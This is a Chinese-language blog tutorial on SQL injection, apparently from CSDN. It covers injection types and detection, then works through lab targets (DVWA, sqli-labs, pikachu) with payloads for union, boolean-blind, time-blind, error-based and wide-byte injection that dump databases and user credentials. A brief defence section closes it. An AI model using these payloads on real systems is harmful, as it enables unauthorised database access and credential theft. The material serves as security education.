web安全之SQL注入(三)

一、sql注入的介绍

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

二、sql注入的危害

但凡使用数据库开发的应用系统,就可能存在SQL注入攻击的媒介。自1999年起,SQL注入漏洞就成了常见安全漏洞之一。至今SQL注入漏洞仍然在CVE列表中排前10。

1.数据库信息泄露

2.网页篡改:登陆后台后发布恶意内容

3.网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人

4.私自添加系统账号

5.读写文件获取webshell

三、sql注入的分类

1.按照注入点类型分类

(1)数字型注入点
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1。
(2)字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name=‘admin’ and 1=1 ’ 我们需要将这些烦人的引号给处理掉。

(3)搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like ‘%测试%’ and ‘%1%’=’%1%’

2.按照数据提交的方式来分类
(1)GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

(2)POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

(3)Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

(4)HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段

这里延伸get和post的区别:

1.get和POST的本质区别

Get是向服务器发索取数据的一种请求,而Post是向服务器提交数据的一种请求

2.服务器端获取值的方法

get方式提交的数据,服务器端使用request.QueryString获取变量的值

post方式提交的数据,服务器端使用request.Form获取数据

3.安全性

get方式安全性低,post方式较安全。但是post方式执行效率要比get方式差一些。

4.机制

get是把参数数据队列加到提交表单的action属性所指的URL中,如:http://www.xxx.com?sessonid=db23434&name=hongten&age=20。在URl中,值和表单南日各个字段一一对应,并且这些在URl中对用户来说是可见的,即用户时可以看到的。如:name=hongten。

post是通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到action属性所指的URL地址,对于用户来说,这是透明的。

5.大小

URL不存在参数上限的问题,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。IE对URL长度的限制是2083字节(2K+35)。对于其他浏览器,如Netscape、FireFox等,理论上没有长度限制,其限制取决于操作系统的支持。

理论上讲,POST是没有大小限制的,HTTP协议规范也没有进行大小限制,说“POST数据量存在80K/100K的大小限制”是不准确的,POST数据是没有限制的,起限制作用的是服务器的处理程序的处理能力。

3.按照执行效果来分类
(1)基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)联合查询注入
可以使用union的情况下的注入。
(5)堆查询注入
可以同时执行多条语句的执行时的注入。
(6)宽字节注入
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入
(7)延时注入
使用延时函数方式;
(8)搜索注入
注入点在搜索框中;
(9)编码注入
将输入的字符串进行编码,如base64编码;
(10)多阶注入
由多个HTTP请求响应共同完成的注入;

四、常见sql注入及判断方法

如何手工判断注入点:

1.数字型 GET方法:
①需要找到动态页面
②可以在url中实现对参数的输入
③输入‘判断是否报错 输入and 1=1返回正常 输入and 1=2异常 从而判断此处一定存在sql注入漏洞

2.字符型 GET方法:
①需要找到动态页面
②可以在url中实现对参数的输入
③输入‘判断是否报错 输入‘ and 1=1#返回正常 输入’ and 1=2#异常 从而判断此处一定存在sql注入漏洞
注意的是url是 --+ 表单是#
ps:以上方法均可以用手工或者sqlmap,但是要考虑有没有过滤或者防火墙。
3.万能语句:‘or ’1‘ = ‘1’ #
在表单输入这句话,带入的sql查询语句为:
select * from user where =id ’ 'or ‘1’ = ‘1’ # ’ “.” and pass= ’ '等于 select * from user where =id ’ 'or ‘1’ = '1‘ 由于#号把密码注释掉 然后or前面条件为假后面会真,一假一真为真,所以自然就能不需要密码成功登陆,并且查看的是全部数据
首先判断优先级,and比or优先级高
4.手工注入的三张表:
1.schemata 表 schema_name 字段 保存了此数据库种所有的数据库名
2.tables 表 table_schema 保存了数据库名 table_name保存了所有的表名
3.columns表 table_schema 保存了数据库名 table_name保存了所有的表名 column_name 保存了所有的字段名

五、sql注入实战(靶场环境)

靶场推荐:墨者学院、sql-labs、bugkuctf、dvwa等
1.使用万能语句进行攻击‘or ’1‘ = '1' #
在这里插入图片描述
在这里插入图片描述2.数字型注入

①首先查找注入点,输入1能正常显示,然后输入1’是否异常,发现异常,然后1’ and 1=1 # 正常,1’ and 1=2 #异常,所以存在数字型注入
在这里插入图片描述在这里插入图片描述②判断字段数,用order by判断,如果出错就表示没有这么多字段,payload为:

1' order by 2 #

在这里插入图片描述
③这里只有两个字段,接下来分别爆库,爆表,爆字段,最后就是数据了,我们一步步来,首先爆库名,payload为:

1' union select 1,database() #成功爆出库名为dvwa

在这里插入图片描述
④爆表,payload为:

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') # 

也可以

1' union select 1,table_name from information_schema.tables where table_schema='dvwa' # 使用group_concat

分组,是为了方便查看。这里可以看到有guestbook和users两张表。
在这里插入图片描述
⑤爆字段,payload为:

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

这里也可以为

1' union select 1,column_name from information_schema.columns where table_name='users' #

可以看到有很多字段。
在这里插入图片描述
⑥爆数据:payload为:

1' union select 1,(select group_concat(user,password) from dvwa.users) #也可以为1' union select user, password from users #

这里我们用冒号的十六进制编码0x3a隔开,然后通过md5解密即可登陆。
在这里插入图片描述
3.字符型注入:
①随便输入一个看看,然后发现url地址栏有传参,随即通过url来注入
②输入yiz’ order by 4 #发现不行,换了一种思路,用yiz’ and ‘1’=’1发现成功输出内容,yiz’ and ‘1’=’2发现异常,然后开始搞。随后第一张思路思索半天才知道闭合问题,把#号换成–+就可以闭合了。
在这里插入图片描述
③通过order by来判断有几个字段,payload为:yiz’ order by 1 --+查询结果只有一个字段
在这里插入图片描述
④然后开始查询数据库名字,payload为:

yiz' union select database() --+

⑤爆表,payload为:

yiz' union select (select group_concat(table_name) from information_schema.tables where table_schema='grade') --+

在这里插入图片描述
⑥爆字段,payload为:

yiz' union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins') --+

在这里插入图片描述⑦爆数据,payload为:

yiz' union select (select group_concat(name,0x3a,pass) from grade.admins) --+

在这里插入图片描述
3.搜索型注入:

①一般存在于表单或者搜索框,同样经过数据库进行查询,这里我们随便输入一个1’ 然后burp抓包,把数据包丢进sqlmap里面跑
在这里插入图片描述②sqlmap命令:python sqlmap.py -r “post.txt” 然后这里跑出注入点,随后可以进行爆库爆表爆字段爆数据等等。
在这里插入图片描述
ps:这里转载一篇sqlmap介绍及常用命令:https://www.freebuf.com/sectool/164608.html

4.伪静态页面进行联合查询注入:

1.1这里发现是静态页面,但是会经过数据库进行查询,成功登陆后跳转主页.php,这里我们运用burp进行下一步操作
在这里插入图片描述
1.2通过上边爆出的数据,用账号3001密码yi001成功登陆,然后我们在账号这里查询是否有注入,这时打开我们的burp神器,抓包进行查看,我们这里输入’发现报错, ’ and 1=1 #成功登陆 ’ and 1=2#异常,说明存在注入,由于是html页面只能运用burp进行相关操作。
在这里插入图片描述
1.3发现存在注入后且是字符型,然后步骤都是一样的,只需要在burp的repeater模块操作就行了,这里不再赘述。
在这里插入图片描述
5.盲注——布尔型(这里用sqli-labs的less8):

页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入

判断的方式:
长度:length() length(database())>=XX 1 and length(database())>=5

举例:假如grade网站的数据库名是grade
id=3001 and length(database())>=5 返回的结果为真 就会正确输出3001账户信息
id=3001 and length(database())>=6 如果返回错误,则数据库名长度为5

字符:substr() substr(database(),1,1)=‘a’
举例:假如grade网站的数据库名是grade
id=3001 and substr(database(),1,1)=‘a’ 返回错误的结果
id=3001 and substr(database(),1,1)=‘g’ 返回正确的结果

(1).首先判断是否有注入’ 错误’ and 1=1 --+ 正常 ’ and 1=2 --+ 异常

(2)判断数据库名字长度,payload为:id=3001 and length(database())>=8,大于8之后会报错,所有判断数据库名字长度为8
在这里插入图片描述
3)判断数据库名字,payload为:?id=1’ and substr(database(),1,1)=‘s’–+,括号里面的1,1是指从第一位开始判断,只要输入对了就会显示you are yin,输入错误就不现实,从而判断名字,此种方法费时费神,此时拿出我们的burp神器
在这里插入图片描述
4)运用burp的暴力破解模块来进行名字的猜解,刷新页面抓包开启,发送到intruder模块,然后清楚,选择第一个1,和a标记,然后选择clustrbomb模式,随后选择字典
在这里插入图片描述
在这里插入图片描述
5)然后爆破之后排序即可得到数据库名字security
在这里插入图片描述
6)爆表名,运用substr函数 payload为:

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

在这里插入图片描述
7)爆字段名 payload为:

?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')

在这里插入图片描述
8)爆数据,payload为:

?id=1' and substr((select group_concat(id,username,password) from security.users),1,1)='a'--+

在这里插入图片描述
6.报错注入(sqli-labs的前4个实验(Lab1-Lab4)是基于SQL报错注入(Error-based injection)):

当用户输入的内容拼接成sql语句,送给数据库执行。数据库将执行结果返回给后台。后台将数据库执行结果显示到前台页面上。

这里需要用到的编码:0x3a是冒号的十六进制,0x3b是分号的十六进制,0x3e是>的十六进制0x7e是~符号的十六进制编码

(1)为参数id输入数字1,此时浏览器得到的响应结果如图:
在这里插入图片描述
(2)接着用单引号’作为where子句的过滤条件,得到错误的响应:
在这里插入图片描述
(3)爆库,payload为:

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+`

有一种更简便方法爆库:id=info() --+
在这里插入图片描述
(4)爆表,payload为:

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述
(5)爆字段,payload为:

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述
(6)爆数据,payload为:

?id=1 and updatexml(1,concat(0x7e,(select group_concat(id,0x3b,username,0x3b,password) from security.users),0x7e),1)--+

在这里插入图片描述
7.时间盲注(less9)

其实就是布尔盲注的升级版,页面没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回的页面都一样,但是加入sleep(5)条件后,页面的返回速度明显慢了5秒。

时间盲注所需要的函数:sleep()延迟函数,if(条件,true,false)若为真则true否则false,ascill()函数

1.测试,和布尔盲注一样,只不过用了sleep()函数。
2.注入,注入过程和布尔盲注一样,只不过用了sleep()函数。
(1)猜库,payload为

输入?id=1’ and if(ascii(substr((select database()),1,1))>114,1,sleep(5))–+正常
输入?id=1’ and if(ascii(substr((select database()),1,1))>115,1,sleep(5))–+延迟
在这里插入图片描述
在这里插入图片描述
这里明显页面慢了5秒,说明第一个字符是s,然后以此类推得出数据库名。

(2)猜表

输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>104),1,sleep(5))–+正常
输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>105),1,sleep(5))–+延迟,说明第一个字符为“e”,后面依次。

(3)猜字段

输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>104),1,sleep(5))–+正常
输入?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))>105),1,sleep(5))–+延迟,说明第一个字符为“I”。
(4)猜数据

输入?id=1’ and if((ascii(substr((select username from security.users limit 0,1),1,1))>67),1,sleep(5))–+正常
输入?id=1’ and if((ascii(substr((select username from security.users limit 0,1),1,1))>68),1,sleep(5))–+延迟

ps:这里也可以运用burp爆破,步骤参照less8,也可以运用python脚本.

8.宽字节注入

(1)首先判断是否有注入点输入’异常 kobe%df’ or 1=1 #正常 kobe%df’ or 1=2 #异常,从而判断有注入点,接下来就是爆库爆表爆数据,这里用%df是因为输入’的时候会把’进行转义变成kobe/’,所以用%df进行逃逸,达到注入的目的
在这里插入图片描述
(2)接下来判断字段数,kobe%df’ order by 2#,发现没有返回,那么我们可以考虑是布尔型注入或者时间型注入,但是由上图可以看到有两个输出位置,是your uid和your email,我们是否可以直接利用联合注入呢,发现是可以的

kobe%df' union select 1,database() #

在这里插入图片描述
(3)爆表,由于宽字节注入,'都会被转义,所以我们把数据库名字进行16进制转换,然后就可以得到表名,payload为:

kobe%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x70696b6163687#

在这里插入图片描述
(4)爆字段,也是进行16进制转换

kobe%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x70696b61636875 and table_name=0x7573657273) #

在这里插入图片描述
(5)爆数据,这里可以不用16进制转换,字段之间用冒号的16进制隔开,

kobe%df' union select (select group_concat(username,0x3a,password) from pikachu.users) #

在这里插入图片描述
用宽字节+布尔型盲注

(1)首先判断是否有注入点,输入’异常 kobe%df’ or 1=1 #正常 kobe%df’ or 1=2 #异常,这里用%df是因为输入’的时候会把’进行转义变成kobe/’,所以用%df进行逃逸,达到注入的目的.从而判断有注入点,接下来就是爆库爆表爆数据
在这里插入图片描述
(2)判断数据库名字长度,payload为:kobe%df’ or length(database())>=7 #这里大于7之后就会异常,所以长度为7
在这里插入图片描述
(3)爆库名

kobe%df' or substr(database(),1,1)=0x61 #

这里a要用16进制转换,爆出库名为pikachu
在这里插入图片描述
4)爆表

kobe%df' or substr((select table_name from information_schema.tables where table_schema=0x70696b61636875limit 0,1),1,1)=0x61 #

这里数据库名字也要进行16进制转换,如果要爆第二章把limit 0,1),1,1第二个1改为2就可以了
在这里插入图片描述
(5)爆字段

kobe%df' or substr((select group_concat(column_name) from information_schema.columns where table_schema=0x70696b61636875and table_name=0x7573657273),1,1)=0x61 #

在这里插入图片描述
(6)爆字段

kobe%df' or substr((select group_concat(username,password) from 0x70696b61636875.0x7573657273),1,1)=0x61 #

在这里插入图片描述

五、sql注入防御办法

1.增加waf,安全狗等软硬件

2.构造的sql语句时使用参数化形式而不使用拼接方式能够可靠地避免sql注入

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值